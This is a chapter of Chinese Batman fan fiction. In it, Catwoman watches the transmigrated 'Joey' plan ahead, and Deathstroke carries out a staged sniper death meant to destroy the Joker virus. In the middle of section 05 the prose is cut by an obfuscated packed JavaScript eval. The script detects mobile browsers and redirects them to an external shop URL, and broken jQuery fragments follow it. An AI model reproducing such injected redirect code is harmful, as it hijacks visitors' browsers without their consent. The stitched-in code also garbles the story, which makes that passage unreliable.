47. 绝杀,胜利! the final

作品:《成为阿卡姆老爷之后[综英美]

    01


    赛琳娜熟悉蝙蝠侠。


    假如那些止步于性的了解能够被称为熟悉的话。


    他们几乎不曾在充满光亮的地方做过,所以赛琳娜也只能模模糊糊地感知到那具盔甲之下偶然泄露的……看似与黑暗骑士毫不沾边或者截然相反的热情和滚烫。


    猫女与黑暗骑士打照面,凯尔小姐与韦恩打照面,而介于他们之间的既不属于义警与罪犯,也不属于上流公子哥与交际花,单单意指布鲁斯与赛琳娜的交汇……


    可以说没有。


    后来她有了一个近距离观察“日常蝙蝠侠”的机会。


    说真的,有谁会把“日常”和“蝙蝠侠”见鬼地联系在一起?更何况那只是个披着蝙蝠壳子的异乡人。他温和到过分,那种既不是调情也不是客套的微笑时常出现,只是单纯地用以表达愉悦。一个说话轻声细语的、安静的、宽容的、有些羞涩的男人。


    更见鬼的是他还会下厨。


    然后赛琳娜得知了乔伊的整个计划,或者一小部分,因为介由那个巨大庞杂的计划所透露出的这个异乡人的本质,叫人没法相信他会对着猫女坦诚一切。


    第一次见面之后他们又见过三次,其中两次是在不同的安全屋里洽谈正事,赛琳娜有幸见到了乔伊思考和布局的状态——现在她知道他当然是蝙蝠侠。他就坐在那里,面无表情,唇角自然下垂,以至于看上去太过于严厉了。赛琳娜知道布鲁斯也是这样,这种严肃并不表示他在不满,反而意味着心情放松。


    乔伊安静地注视着虚空中的一个点,时不时轻轻转动一下眼珠。做出决定时,他搭在左膝盖上的那只手微不可查地缩紧了一下。一只白猫蜷缩在他右手边上打着呼。


    他注意到赛琳娜在观察他,但是不以为忤,反而露出了一个小小的微笑。


    “在想什么?”赛琳娜问。


    “哈莉·奎因。”乔伊诚实地说。


    “我被伤透了心,亲爱的。”猫女哑声说,“你在我的房子里霸占着我的沙发还撸着我的猫,心里竟然装着别的女人?”


    “赛琳娜……”男人无奈而纵容地唤她,“我在考虑哈莉·奎因这一环可能出现的意外。假如她在事情进行到一半时被阿卡姆骑士发现了卧底身份该怎么办。”


    “管她去死。”赛琳娜说。


    她冷血而风情万种地摆弄着自己的指甲。


    “这种情况下需要紧急加速我们的整个进程。哈莉·奎因则能救就救。”乔伊说,“她已被证明了值得拥有一个机会。”


    “她知道你这么看重她吗?”赛琳娜古怪地看了一眼男人,“你有没有想过,一旦她醒悟过来你不是她的Mr.J,这女人会变得多疯狂?”


    “当然,我想过。”乔伊说,“但是我还是想要对她说一句话,就算我们那时候大概已经反目成仇。我想对她说:是时候向前看了,哈莉。你应当去寻找新的生活。”


    “Oh,我亲爱的。你真是太温柔了。”


    赛琳娜一手轻轻抚摸着熟睡的白猫,上半身贴近男人的肩颈。


    “我有没有对你说过,温柔的人在哥谭都活不长?”


    02


    针对小丑病毒我设立了许多假设,有些验证了,有些没有。小丑具有一种超出常人极限的自愈能力,这很可能是病理性变异的结果。为什么在身体状态糟糕到一定程度的时候,宿主才会进入不可逆的小丑化?一方面是免疫系统崩溃,无法压制病毒;另一方面,身体也急需采取措施来挽回生命,这时候管不了那么多,它不可避免地选择了饮鸩止渴。


    现在这个假设被验证了。


    小丑幻影跨坐在我的脊背上。


    他摇头晃脑,大声唱着歌。


    "Weareleavingtogether~"


    (我们正在一同离去)


    "Butstillit''/sfarewell~"


    (但是仍需道别)


    “Andmaybewe''/leback~”


    (也许我们还会回来)


    “Toearth,whocantell”


    (回到地球,谁能预料?)


    “Iguessthereisnooblame”


    (我想我不该责怪任何人)


    “Willthingseverbethesameagain”


    (日后景色是否依旧?)


    这乐声十分耳熟,带着某种年代较早的管弦乐器的长音。


    一首激昂而富有歌剧气质的曲子,明明诉说着离别,却仿佛,却仿佛……


    却仿佛在宣告胜利!


    灼烧的剧痛流淌在四肢百骸。恍惚之中,我看见自己裸露的皮肤泛起了诡异的嫣红。剧痛是作用于大脑的,但是它诡异地使我失去了以往那种对疼痛的畏惧。


    病毒在治愈我的致命伤。


    无法控制的大笑开始从嘴角泄露。


    “丧……丧钟……”


    一只苍白而筋骨毕现的手抓住了一张还涂抹着油彩的脸,开始痛苦地拉扯。


    “丧钟……现在!”


    “动手——”


    “动手啊!”


    03


    我见过世界上最大的月亮。


    我见过最黑的海。


    我见过最疯狂的罪恶。


    我见过最伟大、最坚强的……角斗士。


    我出身优渥,家庭和睦,父母恩爱,长辈慈祥。


    我天生聪明,长相讨喜,个性开朗,广受欢迎。


    我拥有金子般的幸福的人生,整整二十六年。


    “咱也没指望你当个大科学家什么的。”老爸这么说,“作为被这个社会的一份子,最好当然是能够有所贡献,有所回馈。找个喜欢的工作,然后一定要敬业。”


    “过得不体面没有关系,做爸妈的就想你活得自己开心。但是有一点,阿囡,不论你做什么之前都要想一想,这个事儿做了,或者不去做,你会不会后悔?”


    “问一遍,不够。你要问第二遍,第三遍。你要问自己,如果将来你拥有一个重来的机会,你还会不会这么选?”


    04


    乔伊·韦恩就像斯莱德曾经交手过的那个蝙蝠侠一样,喜欢叫他的名字而非代号。雇佣兵认为这是他们蝙蝠家族一种经过规范的传统。“斯莱德”或者“威尔逊先生”而非“丧钟”,昭示着他作为人类的一切,他是个能够被制伏、被击溃的生命体,而非一种不败的象征或者概念。


    耳麦中传来现任雇主挣扎的嘶吼。


    “丧钟!”他厉声喝道。


    这是乔伊·韦恩头一次称呼斯莱德的代号。斯莱德知道,这意味着一种严厉的督促,这时候他们不再是两个相处尚且愉快的男人,而是任务目标,与坚决执行合同的雇佣兵。


    吊塔顶上的黑暗中爆出一团刺目的星火,以及惊天动地的一声巨响。一枚12.7毫米的狙/击弹高速旋转着从M82A1M的枪口中射出。化工厂的玻璃像纸一样轻易崩碎,在晶莹的碎屑落地之前,子弹裹挟着铡刀般锋利的气刃冲入男人的胸膛。一捧血沫爆开在半空。


    目镜视野之内,目标的胸口出现了一个直径约为30厘米的空洞。


    扭曲的笑容逐渐平息,而那双眼睛仍然半睁着,邪恶的翠绿像潮水一样缓缓褪去,毫无生气的蓝灰色裸//露出来。


    他在看哪里?


    05


    我不知道这算不算是走马灯。


    我去过很多名山大川,和家人朋友一起。要说月亮,还是在柴达木盆地的黑戈壁滩。就数那儿的月亮最大最圆,最清澈最神秘。


    四个月前我推翻了这个结论。


    那会儿老蝙蝠还在ICU里昏睡。这一天的夜巡风平浪静,我与罗宾准备返程。我眺望着哥谭电视塔,就在布里克岛的最东侧,毗邻GCPD辖区与潘妮莎影城。假如命运之手不可撼动,在10个月后的万圣节之夜,蝙蝠侠的旅程将开始于电视塔的尖顶之上,钢筋虬错之中,那一块小小的立足点。


    “我想去那里看看。”我对提姆说。


    “去那里做什么?你不是想要早点回去睡觉吗……”提姆虽然有些异议,但还是宽容地任由我胡闹了一次。


    “那是梦开始的地方。”我严肃地说,“我要去名场面纪念地点打卡。”


    使用爪钩枪加速把自己弹射到空中是一种美妙无比的体验。我飞跃了数次,终于成功踩上了最高处的小小平台。


    狂风呼啸而过,身后是波涛汹涌的哥谭湾。海水的颜色呈现出一片不详的漆黑,只有浪尖透出一丝浑浊的墨绿。


    而我的身前,高悬着一枚无与伦比的巨大圆月。过了一小会儿,层层的阴云将她暂时遮蔽,但不是永远。动人的银辉泼洒在凌晨3点哥谭的街巷。


    在我的脚下,不夜的哥谭城——不像人们通常想象的那样,哥谭的夜晚无光无亮,一片慑人的空寂——这是个繁华无比的大城市,就算市民们在晚上不出门,那些耀眼的霓虹总是不会停止闪烁,道上的车流也只是稀疏而不曾间断。韦恩大厦彻夜都亮着莹蓝色的装饰光;莱克斯大厦哥谭分部采用黄色和绿色的灯饰;奎因企业银光流转;斯塔格的飞艇则挂着数盏探照氙灯,强光灯柱复杂有序地扫向四面八方。


    这就是蝙蝠侠的城市。


    “很会挑地方嘛,”罗宾说,“这是他最喜欢的鸟瞰点。”


    “是吗?”我重新抬起头看向月亮。


    “真他妈的大啊!”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14257783|151618||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    我感慨道。


    罗宾一时无语。


    “这月亮大得不太正常。”我对提姆说,“比我老家的要大好多好多。”


    那句话里面我的用词是“家乡”,hometown。


    现在我意识到,那个词不该被译为“老家”,而应该是“故乡”。


    因为回不去的地方,才能被叫做故乡。


    我从前使用这个词语,都是用读者的视角,去品评那些漂泊的旅人在时间长河里留下的诗作。我竟然能够在如此年纪轻轻的时候以第一人称使用它,不可不谓世事弄人。


    06


    在早已消散的、斯莱德看不到的幻境里。


    “不——”


    一个小丑飞蛾扑火般朝那颗子弹的飞行轨迹跃起,被打碎,然后第二个幻影拦在倒地的男人身前,在千分之一秒之内再度粉碎。第三个,第四个……一连串的小丑溃散又重聚,直到虚影与实体重叠。


    另一个小丑与我并排着坐在一起,持续歌唱。


    “It''/sthefinalcountdown!”


    (最后的倒数开始了!)


    “Thefinalcountdown~”


    (这就是最后的倒数~)


    “Imsurethatwe''/llallmissherso~”


    (我相信我们都会很想念地球)


    “It''/sthefinalcountdown.”


    (但这是最后的倒数了)


    最后的倒数!


    最后的最后的倒数。


    我想起来了这首歌,《TheFinalCountdown》。我觉得它耳熟,是因为当年那部老电影里的赌神周润发出场曲,借鉴了这歌的前奏。


    这是赌神的歌。


    需要很多运气,以及很多看似运气的实力!


    “Goodnight,Batsy!”小丑说。


    07


    “走啦!”


    我展开双臂,像往常一样放任自己在狂乱的气流之中坠落。


    罗宾紧随于后,飞身而下。


    坠落。


    然后巨大的蝙蝠在月下张开蝠翼,乘风而起。


    08


    “Justrestinpeace,DarkKnight.”


    安息吧,黑暗骑士。


    斯莱德喃喃着,一边回味着那一道仁慈而优美的杀戮曲线,一边轻轻扭动手骨。M82A1M是一台弑神的利器,它那堪称恐怖的后坐力就连丧钟这样的改造人都有点吃不消。巨大的、暴露一切的枪响和随着枪响飞溅而起的尘土使得没有什么专业杀手愿意使用它。


    不过这一次,它尚有未竟的使命要完成。


    “……斯莱德,这是确认我的死亡之后,你需要做的三件事。”


    “第一,我会尽量让自己死亡在室内。确认我死亡的那栋建筑里,其余人员全部被疏散,然后使用穿甲燃烧//弹破坏承重柱,保证整个建筑的坍塌,阻止施救,但最好能够留下一条……隐蔽的入口。”


    斯莱德开始往枪膛里装填另一种被称为API的反器材子弹,经过计算之后,六声巨响紧接着一阵地动山摇,ACE化工厂的南部厂房轰然倒塌,云霭般结团的烟尘缓缓弥散开来。


    “第二,这是一盒录音,在你离开狙击位置之前,把它放在那里。蝙蝠侠会根据线索追踪到你开枪的位置,这份录音是留给他的,同时能够为你争取撤离的时间。”


    斯莱德开始整理他的装备包,把一切该抹去的信息都抹去,只留下那个小小的黑盒。


    09.


    “Goodbye,Joker.”


    在接近音速的子弹逼近过程中,蝙蝠侠无暇开口,于是这一句永别实际上只存在于一瞬间的闪念。


    热成像监测下,鲜红的人影开始逐渐褪色,直到与灰蒙蒙的环境融为一体。


    尸体凉透了。


    系统,器官,组织,细胞,通通停摆。


    小丑病毒失去补给,开始崩解失活。


    10.


    “……第三。我要你去米亚加尼岛上,布里斯托街区的埃利奥特纪念医院,送一个口信。口信的内容是:有一只蝙蝠死了。然后你再向他们说明我的身亡地址,以及你留下的唯一入口。”


    “这是什么?”丧钟问。


    “这是一个鱼饵。”蝙蝠侠说,“同时也是一场赌/\博。”


    11.


    “死无葬身之地的是你,小丑,而我尚有……”


    “一线……”


    “生机。”


    一双眼睛,在轻轻荡漾的一池浓绿之中蓦然圆睁!


    所谓置之死地而后生。